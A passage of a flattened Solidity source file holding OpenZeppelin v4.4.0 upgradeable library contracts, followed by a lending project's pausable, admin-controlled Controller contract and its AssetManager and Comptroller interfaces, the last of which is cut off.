return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
/**
* @title Controller component
* @dev For easy access to any core components
*/
abstract contract Controller is Initializable, UUPSUpgradeable, AccessControlUpgradeable {
bytes32 public constant ROLE_ADMIN = keccak256("ROLE_ADMIN");
mapping(address => address) private _admins;
// slither-disable-next-line uninitialized-state
bool private _paused;
// slither-disable-next-line uninitialized-state
address public pauseGuardian;
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Controller: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Controller: not paused");
_;
}
modifier onlyAdmin() {
require(hasRole(ROLE_ADMIN, msg.sender), "Controller: not admin");
_;
}
modifier onlyGuardian() {
require(pauseGuardian == msg.sender, "Controller: caller does not have the guardian role");
_;
}
//When using minimal deploy, do not call initialize directly during deploy, because msg.sender is the proxyFactory address, and you need to call it manually
function __Controller_init(address admin_) public initializer {
require(admin_ != address(0), "Controller: address zero");
_paused = false;
_admins[admin_] = admin_;
__UUPSUpgradeable_init();
_setupRole(ROLE_ADMIN, admin_);
pauseGuardian = admin_;
}
function _authorizeUpgrade(address) internal view override onlyAdmin {}
/**
* @dev Check if the address provided is the admin
* @param account Account address
*/
function isAdmin(address account) public view returns (bool) {
return hasRole(ROLE_ADMIN, account);
}
/**
* @dev Add a new admin account
* @param account Account address
*/
function addAdmin(address account) public onlyAdmin {
require(account != address(0), "Controller: address zero");
require(_admins[account] == address(0), "Controller: admin already existed");
_admins[account] = account;
_setupRole(ROLE_ADMIN, account);
}
/**
* @dev Set pauseGuardian account
* @param account Account address
*/
function setGuardian(address account) public onlyAdmin {
pauseGuardian = account;
}
/**
* @dev Renouce the admin from the sender's address
*/
function renounceAdmin() public {
renounceRole(ROLE_ADMIN, msg.sender);
delete _admins[msg.sender];
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyGuardian whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyGuardian whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
uint256[50] private ______gap;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/**
* @title AssetManager Interface
* @dev Manage the token balances staked by the users and deposited by admins, and invest tokens to the integrated underlying lending protocols.
*/
interface IAssetManager {
/**
* @dev Returns the balance of asset manager, plus the total amount of tokens deposited to all the underlying lending protocols.
* @param tokenAddress ERC20 token address
* @return Lending pool balance
*/
function getPoolBalance(address tokenAddress) external view returns (uint256);
/**
* @dev Returns the amount of the lending pool balance minus the amount of total staked.
* @param tokenAddress ERC20 token address
* @return Amount can be borrowed
*/
function getLoanableAmount(address tokenAddress) external view returns (uint256);
/**
* @dev Get the total amount of tokens deposited to all the integrated underlying protocols without side effects.
* @param tokenAddress ERC20 token address
* @return Total market balance
*/
function totalSupply(address tokenAddress) external returns (uint256);
/**
* @dev Get the total amount of tokens deposited to all the integrated underlying protocols, but without side effects. Safe to call anytime, but may not get the most updated number for the current block. Call totalSupply() for that purpose.
* @param tokenAddress ERC20 token address
* @return Total market balance
*/
function totalSupplyView(address tokenAddress) external view returns (uint256);
/**
* @dev Check if there is an underlying protocol available for the given ERC20 token.
* @param tokenAddress ERC20 token address
* @return Whether is supported
*/
function isMarketSupported(address tokenAddress) external view returns (bool);
/**
* @dev Deposit tokens to AssetManager, and those tokens will be passed along to adapters to deposit to integrated asset protocols if any is available.
* @param token ERC20 token address
* @param amount Deposit amount, in wei
* @return Deposited amount
*/
function deposit(address token, uint256 amount) external returns (bool);
/**
* @dev Withdraw from AssetManager
* @param token ERC20 token address
* @param account User address
* @param amount Withdraw amount, in wei
* @return Withdraw amount
*/
function withdraw(
address token,
address account,
uint256 amount
) external returns (bool);
/**
* @dev Add a new ERC20 token to support in AssetManager
* @param tokenAddress ERC20 token address
*/
function addToken(address tokenAddress) external;
/**
* @dev Remove a ERC20 token to support in AssetManager
* @param tokenAddress ERC20 token address
*/
function removeToken(address tokenAddress) external;
/**
* @dev Add a new adapter for the underlying lending protocol
* @param adapterAddress adapter address
*/
function addAdapter(address adapterAddress) external;
/**
* @dev Remove a adapter for the underlying lending protocol
* @param adapterAddress adapter address
*/
function removeAdapter(address adapterAddress) external;
/**
* @dev For a give token set allowance for all integrated money markets
* @param tokenAddress ERC20 token address
*/
function approveAllMarketsMax(address tokenAddress) external;
/**
* @dev For a give moeny market set allowance for all underlying tokens
* @param adapterAddress Address of adaptor for money market
*/
function approveAllTokensMax(address adapterAddress) external;
/**
* @dev Set withdraw sequence
* @param newSeq priority sequence of money market indices to be used while withdrawing
*/
function changeWithdrawSequence(uint256[] calldata newSeq) external;
/**
* @dev Rebalance the tokens between integrated lending protocols
* @param tokenAddress ERC20 token address
* @param percentages Proportion
*/
function rebalance(address tokenAddress, uint256[] calldata percentages) external;
/**
* @dev Claim the tokens left on AssetManager balance, in case there are tokens get stuck here.
* @param tokenAddress ERC20 token address
* @param recipient Recipient address
*/
function claimTokens(address tokenAddress, address recipient) external;
/**
* @dev Claim the tokens stuck in the integrated adapters
* @param index MoneyMarkets array index
* @param tokenAddress ERC20 token address
* @param recipient Recipient address
*/
function claimTokensFromAdapter(
uint256 index,
address tokenAddress,
address recipient
) external;
/**
* @dev Get the number of supported underlying protocols.
* @return MoneyMarkets length
*/
function moneyMarketsCount() external view returns (uint256);
/**
* @dev Get the count of supported tokens
* @return Number of supported tokens
*/
function supportedTokensCount() external view returns (uint256);
/**
* @dev Get the supported lending protocol
* @param tokenAddress ERC20 token address
* @param marketId MoneyMarkets array index
* @return tokenSupply
*/
function getMoneyMarket(address tokenAddress, uint256 marketId) external view returns (uint256, uint256);
/**
* @dev debt write off
* @param tokenAddress ERC20 token address
* @param amount WriteOff amount
*/
function debtWriteOff(address tokenAddress, uint256 amount) external;
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/**
* @title Comptroller Interface
* @dev Work with UnionToken and UserManager to calculate the Union rewards based on the staking info from UserManager, and be ready to support multiple UserManagers for various tokens when we support multiple assets.
*/
interface IComptroller {
/**
* @dev Get the reward multipier based on the account status
* @param account Account address
* @return Multiplier number (in wei)
*/
function getRewardsMultiplier(address account, address token) external view returns (uint256);
